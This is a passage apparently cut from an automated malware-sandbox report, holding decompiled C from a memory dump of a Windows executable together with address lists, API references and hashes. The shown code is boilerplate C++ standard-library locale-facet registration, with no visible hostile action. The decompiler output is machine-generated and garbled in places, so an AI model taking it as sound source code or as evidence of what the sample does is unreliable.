													_t372 = E0042B315(_a8, E0042B22E(0x4edd80, _t371, _t383, __eflags));
													__eflags = _t372;
													if(_t372 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t372);
													} else {
														__eflags = _t383;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E59F(_t372, _t383, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t372, _t383);
																E00488DEA( &_v20, 0);
																_t384 =  *0x4ede08; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t384;
																_t373 = E0042B315(_a8, E0042B22E(0x4eddac, _t372, _t384, __eflags));
																__eflags = _t373;
																if(_t373 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t373);
																} else {
																	__eflags = _t384;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E607(_t373, _t384, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t373, _t384);
																			E00488DEA( &_v20, 0);
																			_t385 =  *0x4eddd8; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t385;
																			_t374 = E0042B315(_a8, E0042B22E(0x4edd84, _t373, _t385, __eflags));
																			__eflags = _t374;
																			if(_t374 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t374);
																			} else {
																				__eflags = _t385;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E682(_t374, _t385, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t374, _t385);
																						E00488DEA( &_v20, 0);
																						_t386 =  *0x4ede24; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t386;
																						_t375 = E0042B315(_a8, E0042B22E(0x4eddc8, _t374, _t386, __eflags));
																						__eflags = _t375;
																						if(_t375 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t375);
																						} else {
																							__eflags = _t386;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E6FD(_t375, _t386, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t375, _t386);
																									E00488DEA( &_v20, 0);
																									_t387 =  *0x4eddf4; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t387;
																									_t376 = E0042B315(_a8, E0042B22E(0x4edda0, _t375, _t387, __eflags));
																									__eflags = _t376;
																									if(_t376 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t376);
																									} else {
																										__eflags = _t387;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E769(_t376, _t387, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t376, _t387);
																												E00488DEA( &_v20, 0);
																												_t388 =  *0x4ede28; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t388;
																												_t377 = E0042B315(_a8, E0042B22E(0x4eddcc, _t376, _t388, __eflags));
																												__eflags = _t377;
																												if(_t377 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t377);
																												} else {
																													__eflags = _t388;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E7D5(_t377, _t388, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t377, _t388);
																															E00488DEA( &_v20, 0);
																															_t389 =  *0x4eddf8; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t389;
																															_t378 = E0042B315(_a8, E0042B22E(0x4edd78, _t377, _t389, __eflags));
																															__eflags = _t378;
																															if(_t378 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t378);
																															} else {
																																__eflags = _t389;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	_t233 = E0048E849(_t378, _t389, __eflags);
																																	_pop(_t337);
																																	__eflags = _t233 - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(_t389);
																																		_t390 = _t337;
																																		_t122 = _t390 + 0x10;
																																		 *_t122 =  *(_t390 + 0x10) & 0x00000000;
																																		__eflags =  *_t122;
																																		 *((intOrPtr*)(_t390 + 0x14)) = 7;
																																		 *_t390 = 0;
																																		E00494BE0( *((intOrPtr*)(_t405 + 8)));
																																		return _t390;
																																	} else {
																																		_t378 = _v16;
																																		_v16 = _t378;
																																		_v4 = 1;
																																		E0048919D(_t378);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t378 + 4))))();
																																		 *0x4eddf8 = _t378;
																																		goto L68;
																																	}
																																} else {
																																	_t378 = _t389;
																																	goto L68;
																																}
																															}
																														} else {
																															_t377 = _v16;
																															_v16 = _t377;
																															_v4 = 1;
																															E0048919D(_t377);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t377 + 4))))();
																															 *0x4ede28 = _t377;
																															goto L61;
																														}
																													} else {
																														_t377 = _t388;
																														goto L61;
																													}
																												}
																											} else {
																												_t376 = _v16;
																												_v16 = _t376;
																												_v4 = 1;
																												E0048919D(_t376);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t376 + 4))))();
																												 *0x4eddf4 = _t376;
																												goto L54;
																											}
																										} else {
																											_t376 = _t387;
																											goto L54;
																										}
																									}
																								} else {
																									_t375 = _v16;
																									_v16 = _t375;
																									_v4 = 1;
																									E0048919D(_t375);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t375 + 4))))();
																									 *0x4ede24 = _t375;
																									goto L47;
																								}
																							} else {
																								_t375 = _t386;
																								goto L47;
																							}
																						}
																					} else {
																						_t374 = _v16;
																						_v16 = _t374;
																						_v4 = 1;
																						E0048919D(_t374);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t374 + 4))))();
																						 *0x4eddd8 = _t374;
																						goto L40;
																					}
																				} else {
																					_t374 = _t385;
																					goto L40;
																				}
																			}
																		} else {
																			_t373 = _v16;
																			_v16 = _t373;
																			_v4 = 1;
																			E0048919D(_t373);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t373 + 4))))();
																			 *0x4ede08 = _t373;
																			goto L33;
																		}
																	} else {
																		_t373 = _t384;
																		goto L33;
																	}
																}
															} else {
																_t372 = _v16;
																_v16 = _t372;
																_v4 = 1;
																E0048919D(_t372);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t372 + 4))))();
																 *0x4eddd4 = _t372;
																goto L26;
															}
														} else {
															_t372 = _t383;
															goto L26;
														}
													}
												} else {
													_t371 = _v16;
													_v16 = _t371;
													_v4 = 1;
													E0048919D(_t371);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t371 + 4))))();
													 *0x4ede04 = _t371;
													goto L19;
												}
											} else {
												_t371 = _t382;
												goto L19;
											}
										}
									} else {
										_t370 = _v16;
										_v16 = _t370;
										_v4 = 1;
										E0048919D(_t370);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 4))))();
										 *0x4eddd0 = _t370;
										goto L12;
									}
								} else {
									_t370 = _t381;
									goto L12;
								}
							}
						} else {
							_t369 = _v16;
							_v16 = _t369;
							_v4 = 1;
							E0048919D(_t369);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 4))))();
							 *0x4ede00 = _t369;
							goto L5;
						}
					} else {
						_t369 = _t380;
						goto L5;
					}
				}
			}

0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cabf
0x0048cac4
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc

APIs

__EH_prolog3.LIBCMT ref: 0048CA95
std::_Lockit::_Lockit.LIBCPMT ref: 0048CA9F

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

std::_Facet_Register.LIBCPMT ref: 0048CAF0
std::_Lockit::~_Lockit.LIBCPMT ref: 0048CB10
Concurrency::cancel_current_task.LIBCPMT ref: 0048CB1D

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Register
String ID:
API String ID: 1813952879-0
Opcode ID: 02663d46bd9c07ad8c8a235627f5ab71225bb9e7f2a485408051f7273ab4dd3d
Instruction ID: a7a15d95216993b99ba8e90ec71ce381733d70cc155042a2120f37279bda4077
Opcode Fuzzy Hash: 02663d46bd9c07ad8c8a235627f5ab71225bb9e7f2a485408051f7273ab4dd3d
Instruction Fuzzy Hash: D101C475D005198BCB05FB65E85A6BE7761AF80714F14481FE4116B3D2CF7C9D01C799

Uniqueness

Uniqueness Score: -1.00%

Function 0048CB23, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048CB23(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v104;
				signed int _t117;
				void* _t210;
				short* _t304;
				void* _t332;
				signed int _t334;
				signed int _t335;
				signed int _t336;
				signed int _t337;
				signed int _t338;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				void* _t342;
				signed int _t343;
				signed int _t344;
				signed int _t345;
				signed int _t346;
				signed int _t347;
				signed int _t348;
				signed int _t349;
				signed int _t350;
				signed int _t351;
				short* _t352;
				void* _t366;
				void* _t367;

				_push(8);
				E0049D90B(0x4d6966, _t332, _t342);
				E00488DEA( &_v20, 0);
				_t343 =  *0x4eddd0; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t343;
				_t117 = E0042B315(_a8, E0042B22E(0x4edd7c, _t332, _t343, _t367));
				_t333 = _t117;
				if(_t117 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t333);
				} else {
					if(_t343 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048E4CF(_t333, _t343, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t333, _t343);
							E00488DEA( &_v20, 0);
							_t344 =  *0x4ede04; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t344;
							_t334 = E0042B315(_a8, E0042B22E(0x4edda8, _t333, _t344, __eflags));
							__eflags = _t334;
							if(_t334 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t334);
							} else {
								__eflags = _t344;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048E537(_t334, _t344, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t334, _t344);
										E00488DEA( &_v20, 0);
										_t345 =  *0x4eddd4; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t345;
										_t335 = E0042B315(_a8, E0042B22E(0x4edd80, _t334, _t345, __eflags));
										__eflags = _t335;
										if(_t335 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t335);
										} else {
											__eflags = _t345;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E59F(_t335, _t345, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t335, _t345);
													E00488DEA( &_v20, 0);
													_t346 =  *0x4ede08; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t346;
													_t336 = E0042B315(_a8, E0042B22E(0x4eddac, _t335, _t346, __eflags));
													__eflags = _t336;
													if(_t336 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t336);
													} else {
														__eflags = _t346;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E607(_t336, _t346, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t336, _t346);
																E00488DEA( &_v20, 0);
																_t347 =  *0x4eddd8; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t347;
																_t337 = E0042B315(_a8, E0042B22E(0x4edd84, _t336, _t347, __eflags));
																__eflags = _t337;
																if(_t337 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t337);
																} else {
																	__eflags = _t347;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E682(_t337, _t347, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t337, _t347);
																			E00488DEA( &_v20, 0);
																			_t348 =  *0x4ede24; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t348;
																			_t338 = E0042B315(_a8, E0042B22E(0x4eddc8, _t337, _t348, __eflags));
																			__eflags = _t338;
																			if(_t338 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t338);
																			} else {
																				__eflags = _t348;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E6FD(_t338, _t348, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t338, _t348);
																						E00488DEA( &_v20, 0);
																						_t349 =  *0x4eddf4; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t349;
																						_t339 = E0042B315(_a8, E0042B22E(0x4edda0, _t338, _t349, __eflags));
																						__eflags = _t339;
																						if(_t339 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t339);
																						} else {
																							__eflags = _t349;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E769(_t339, _t349, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t339, _t349);
																									E00488DEA( &_v20, 0);
																									_t350 =  *0x4ede28; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t350;
																									_t340 = E0042B315(_a8, E0042B22E(0x4eddcc, _t339, _t350, __eflags));
																									__eflags = _t340;
																									if(_t340 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t340);
																									} else {
																										__eflags = _t350;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E7D5(_t340, _t350, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t340, _t350);
																												E00488DEA( &_v20, 0);
																												_t351 =  *0x4eddf8; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t351;
																												_t341 = E0042B315(_a8, E0042B22E(0x4edd78, _t340, _t351, __eflags));
																												__eflags = _t341;
																												if(_t341 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t341);
																												} else {
																													__eflags = _t351;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														_t210 = E0048E849(_t341, _t351, __eflags);
																														_pop(_t304);
																														__eflags = _t210 - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(_t351);
																															_t352 = _t304;
																															_t110 = _t352 + 0x10;
																															 *_t110 =  *(_t352 + 0x10) & 0x00000000;
																															__eflags =  *_t110;
																															 *((intOrPtr*)(_t352 + 0x14)) = 7;
																															 *_t352 = 0;
																															E00494BE0( *((intOrPtr*)(_t366 + 8)));
																															return _t352;
																														} else {
																															_t341 = _v16;
																															_v16 = _t341;
																															_v4 = 1;
																															E0048919D(_t341);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t341 + 4))))();
																															 *0x4eddf8 = _t341;
																															goto L61;
																														}
																													} else {
																														_t341 = _t351;
																														goto L61;
																													}
																												}
																											} else {
																												_t340 = _v16;
																												_v16 = _t340;
																												_v4 = 1;
																												E0048919D(_t340);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t340 + 4))))();
																												 *0x4ede28 = _t340;
																												goto L54;
																											}
																										} else {
																											_t340 = _t350;
																											goto L54;
																										}
																									}
																								} else {
																									_t339 = _v16;
																									_v16 = _t339;
																									_v4 = 1;
																									E0048919D(_t339);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t339 + 4))))();
																									 *0x4eddf4 = _t339;
																									goto L47;
																								}
																							} else {
																								_t339 = _t349;
																								goto L47;
																							}
																						}
																					} else {
																						_t338 = _v16;
																						_v16 = _t338;
																						_v4 = 1;
																						E0048919D(_t338);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t338 + 4))))();
																						 *0x4ede24 = _t338;
																						goto L40;
																					}
																				} else {
																					_t338 = _t348;
																					goto L40;
																				}
																			}
																		} else {
																			_t337 = _v16;
																			_v16 = _t337;
																			_v4 = 1;
																			E0048919D(_t337);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t337 + 4))))();
																			 *0x4eddd8 = _t337;
																			goto L33;
																		}
																	} else {
																		_t337 = _t347;
																		goto L33;
																	}
																}
															} else {
																_t336 = _v16;
																_v16 = _t336;
																_v4 = 1;
																E0048919D(_t336);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t336 + 4))))();
																 *0x4ede08 = _t336;
																goto L26;
															}
														} else {
															_t336 = _t346;
															goto L26;
														}
													}
												} else {
													_t335 = _v16;
													_v16 = _t335;
													_v4 = 1;
													E0048919D(_t335);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t335 + 4))))();
													 *0x4eddd4 = _t335;
													goto L19;
												}
											} else {
												_t335 = _t345;
												goto L19;
											}
										}
									} else {
										_t334 = _v16;
										_v16 = _t334;
										_v4 = 1;
										E0048919D(_t334);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t334 + 4))))();
										 *0x4ede04 = _t334;
										goto L12;
									}
								} else {
									_t334 = _t344;
									goto L12;
								}
							}
						} else {
							_t333 = _v16;
							_v16 = _t333;
							_v4 = 1;
							E0048919D(_t333);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t333 + 4))))();
							 *0x4eddd0 = _t333;
							goto L5;
						}
					} else {
						_t333 = _t343;
						goto L5;
					}
				}
			}

0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb54
0x0048cb59
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
